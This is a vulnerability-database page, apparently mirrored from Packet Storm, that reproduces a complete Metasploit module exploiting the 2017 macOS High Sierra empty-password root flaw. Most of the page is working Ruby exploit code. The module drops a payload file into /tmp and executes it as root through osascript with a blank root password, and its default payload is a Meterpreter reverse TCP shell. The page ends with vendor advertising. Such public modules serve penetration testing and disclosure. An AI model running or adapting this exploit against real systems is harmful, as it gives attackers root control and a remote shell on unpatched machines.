Lucene search
K

Mac OS X Root Privilege Escalation

🗓️ 29 Nov 2017 00:00:00Reported by metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Mac OS X Root Privilege Escalation in High Sierra

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Mac OS X Root Privilege Escalation',  
'Description' => %q{  
This module exploits a serious flaw in MacOSX High Sierra.  
Any user can login with user "root", leaving an empty password.  
},  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],  
[ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],  
[ 'URL', 'https://forums.developer.apple.com/thread/79235' ],  
],  
'Platform' => 'osx',  
'Arch' => ARCH_X64,  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',  
},  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [  
[ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 29 2017'  
))  
end  
  
def exploit_cmd(root_payload)  
"osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"  
end  
  
def exploit  
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"  
print_status("Writing payload file as '#{payload_file}'")  
write_file(payload_file, payload.raw)  
register_file_for_cleanup(payload_file)  
output = cmd_exec("chmod +x #{payload_file}")  
print_status("Executing payload file as '#{payload_file}'")  
cmd_exec(exploit_cmd(payload_file))  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation